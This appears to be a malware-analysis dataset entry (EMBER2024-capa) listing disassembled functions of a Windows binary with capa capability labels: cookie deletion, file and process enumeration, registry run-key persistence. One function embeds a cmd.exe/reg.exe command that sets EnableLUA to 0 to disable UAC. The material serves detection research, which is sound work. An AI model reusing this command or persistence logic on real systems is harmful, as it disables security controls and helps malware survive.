joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000acc2
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.100020ee
lea ecx, [ebp - 0x18]
call fcn.100020ee
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.1000209d
push eax
push 0x10060c1c
call fcn.100379ea
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.10005405
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10001fea
lea ecx, [ebp - 0x48]
call fcn.10001fe0
lea ecx, [ebp - 0x60]
call fcn.10001fe0
lea eax, [ebp - 0x1b8]
push eax
push 0x10060bdc
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.10008178
pop ecx
mov ecx, eax
call fcn.10001fae
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.10001fe0
cmp esi, 0xffffffff
jne 0x1000ad72
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.1000209d
call fcn.1000b185
add esp, 0x18
jmp 0x1000ae6c
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1000ae4e
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x1000ae38
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x1000adae
movzx eax, byte [ecx + 1]
test al, al
je 0x1000ae38
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x10060d3c
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x1000add4
inc ecx
cmp ecx, 3
jne 0x1000adb6
mov eax, ebx
jmp 0x1000add9
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000ae38
lea eax, [ebp - 0x18c]
push 0x10060da0
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.10008178
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.10008154
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.10001fea
lea ecx, [ebp - 0x48]
call fcn.10001fe0
lea ecx, [ebp - 0x78]
call fcn.10001fe0
lea ecx, [ebp - 0x30]
call fcn.10001fae
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000ae8f
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x1000ae86
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000ad8a
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.1000209d
call fcn.1000b185
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.10001fe0
lea ecx, [ebp - 0x30]
call fcn.10001fe0
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1000ae6e
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x1000ad60
Function at 0x1000ae9e
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.100020ee
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.100105c3
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.10001fea
lea ecx, [ebp - 0x30]
call fcn.10001fe0
mov edx, 0x10060720
lea ecx, [ebp - 0x18]
call fcn.10005c35
test al, al
je 0x1000af0b
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.1000209d
call fcn.1000b185
mov bl, 1
jmp 0x1000afae
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.10001fae
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000aef0
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.1000209d
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.10017f40
mov ecx, eax
call fcn.10001f04
mov ecx, eax
call fcn.1001837b
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.10001f09
lea ecx, [ebp - 0x30]
call fcn.10001fe0
test esi, esi
je 0x1000af84
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x1000aefa
push ebx
push 0x10060e58
mov ecx, 0x1006f918
call fcn.10006252
test eax, eax
je 0x1000afb1
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.1000209d
call fcn.1000b185
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.10001fe0
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b112
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push esi
xor esi, esi
mov byte [0x1006caf9], cl
push edi
mov dword [0x1006cb08], eax
test cl, cl
je 0x1000b16d
push ecx
mov edi, 0x1006f208
mov dword [ebp - 4], esi
mov ecx, edi
call fcn.10001fae
mov edx, eax
call fcn.1001051a
pop ecx
test al, al
je 0x1000b16d
lea eax, [ebp - 4]
mov ecx, edi
push eax
push 0x10060eb0
call fcn.10001fae
mov edx, eax
call fcn.10010566
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x1000b16d
xor al, al
jmp 0x1000b17f
push esi
push esi
push esi
push 0x1000afc1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b2fc
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.100379df
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10004287
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.10007fc9
lea eax, [ebp - 0x2e0]
push eax
push 0x10060858
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.10008110
pop ecx
mov ecx, eax
call fcn.10001f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.10001f09
cmp edi, 0xffffffff
jne 0x1000b370
push 0x10066788
mov ecx, esi
call fcn.10004287
jmp 0x1000b490
lea ecx, [ebp - 0x48]
call fcn.100020ee
jmp 0x1000b45f
test byte [ebp - 0x2e0], 0x10
je 0x1000b45f
mov ecx, 0x10060798
lea eax, [ebp - 0x2b4]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000b3bb
test dx, dx
je 0x1000b3b7
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000b3bb
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000b395
xor eax, eax
jmp 0x1000b3c0
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000b45f
mov ecx, 0x1006087c
lea eax, [ebp - 0x2b4]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000b3f9
test dx, dx
je 0x1000b3f5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000b3f9
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000b3d3
xor eax, eax
jmp 0x1000b3fe
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000b45f
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.10004287
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.10008110
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.10003049
pop ecx
lea ecx, [ebp - 0x78]
call fcn.10001f09
lea ecx, [ebp - 0x90]
call fcn.10001f09
lea ecx, [ebp - 0x30]
call fcn.10001f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1000b4a0
lea ecx, [ebp - 0x30]
call fcn.10001f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000b37d
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x10066788
mov ecx, esi
call fcn.10004287
lea ecx, [ebp - 0x48]
call fcn.10001fe0
lea ecx, [ebp - 0x18]
call fcn.10001f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.10003333
lea ecx, [ebp - 0x30]
call fcn.10001f09
jmp 0x1000b488
Function at 0x1000b837
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [0x1006cd1b], 1
push ebx
mov bh, byte [0x1006cd19]
mov bl, byte [0x1006cd18]
push esi
push edi
mov edi, 0x100604f4
jne 0x1000b897
sub esp, 0x1c
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x1006f1f0
call fcn.1000a8fe
pop ecx
mov edx, eax
mov ecx, esi
call fcn.100030bf
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.100107c5
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.10001f09
cmp bl, 1
jne 0x1000b8d9
sub esp, 0x1c
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x1006f1f0
call fcn.1000a8fe
pop ecx
mov edx, eax
mov ecx, esi
call fcn.100030bf
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.100107c5
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.10001f09
cmp bh, 1
jne 0x1000b91b
sub esp, 0x1c
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x1006f1f0
call fcn.1000a8fe
pop ecx
mov edx, eax
mov ecx, esi
call fcn.100030bf
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.100107c5
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.10001f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000c853
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1000c870
xor eax, eax
push eax
push eax
push dword [ebp + 8]
push 0x1000c877
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x1000d0a3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.100020ee
call fcn.1001823b
push 0
push 2
mov byte [0x1006ea9b], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x1000d281
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1000d264
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.10004287
mov ecx, dword [ebp - 0x378]
push 0x1006145c
call fcn.10018269
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.10017e8c
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x10061460
call fcn.10017e8c
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x10061460
call fcn.1001829f
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.10018002
push eax
push 0x10061460
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.10018002
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.100080ec
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.10008154
pop ecx
push eax
mov ecx, edi
call fcn.10001fea
lea ecx, [ebp - 0x30]
call fcn.10001fe0
lea ecx, [ebp - 0x48]
call fcn.10001fe0
lea ecx, [ebp - 0x60]
call fcn.10001fe0
lea ecx, [ebp - 0x78]
call fcn.10001fe0
lea ecx, [ebp - 0x90]
call fcn.10001fe0
lea ecx, [ebp - 0xa8]
call fcn.10001fe0
lea ecx, [ebp - 0xc0]
call fcn.10001fe0
lea ecx, [ebp - 0xd8]
call fcn.10001fe0
lea ecx, [ebp - 0xf0]
call fcn.10001fe0
lea ecx, [ebp - 0x108]
call fcn.10001fe0
lea ecx, [ebp - 0x120]
call fcn.10001f09
lea ecx, [ebp - 0x138]
call fcn.10001fe0
lea ecx, [ebp - 0x150]
call fcn.10001fe0
lea ecx, [ebp - 0x18]
call fcn.10001f09
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1000d0f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000d289
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.10032c50
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x10]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000e073
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x1000e1a9
cmp byte [edi + 0x3d], bl
je 0x1000e1a9
call fcn.10002f32
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.1000bd0a
pop ecx
pop ecx
test al, al
je 0x1000e0c8
xor al, al
jmp 0x1000e1ab
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.10005310
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.100024e4
mov ecx, eax
call fcn.10003482
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.100024a2
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.100024e4
mov ecx, eax
call fcn.10003482
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.1000c0bc
sub eax, ebx
je 0x1000e130
sub eax, 1
je 0x1000e133
dec eax
sub eax, 1
jne 0x1000e19c
inc eax
jmp 0x1000e19a
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.100024e4
mov ecx, eax
call fcn.10003482
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x1000e178
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.100024e4
mov ecx, eax
call fcn.10003482
push eax
call fcn.10038751
add esp, 0x10
cmp esi, eax
jne 0x1000e198
cmp byte [edi + 0x3d], bl
je 0x1000e196
test esi, esi
jne 0x1000e0d4
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.10002aab
jmp 0x1000e0d4
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.10001fe0
mov al, bl
jmp 0x1000e1ab
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000fa0a
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x1006cd38]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x1006cd38]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x1001051a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001055f
push esi
push esi
push esi
push esi
push 0x10060eb0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x10010561
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010566
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100105bd
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x100105bf
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x100105c3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10010624
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0x10010626
lea eax, [ebp - 0x408]
push eax
jmp 0x1001062b
mov ecx, edi
push 0x10060720
call fcn.1000209d
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010638
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x10060720
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10010698
cmp dword [ebp - 4], eax
jbe 0x10010698
push dword [ebp - 4]
call fcn.1003765d
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.10032c50
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.10004287
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100106a9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10010719
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10010719
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.10006336
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.100063bd
mov al, 1
jmp 0x1001071b
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010720
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10010770
push esi
lea ecx, [ebp + 0xc]
call fcn.100024a2
push eax
lea ecx, [ebp + 0xc]
call fcn.10001fae
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x10010772
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.10001fe0
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10010781
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x100107bf
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x100107c1
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x100107c5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10010817
push esi
lea ecx, [ebp + 0xc]
call fcn.100024a2
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.10001f04
push eax
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x10010819
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.10001f09
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010828
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10010874
push esi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x10060eb0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x10010876
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x1001087a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x100108b8
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x100108ba
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x100108be
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x100108fc
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x100108fe
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x10010964
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10010980
xor al, al
jmp 0x10010992
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret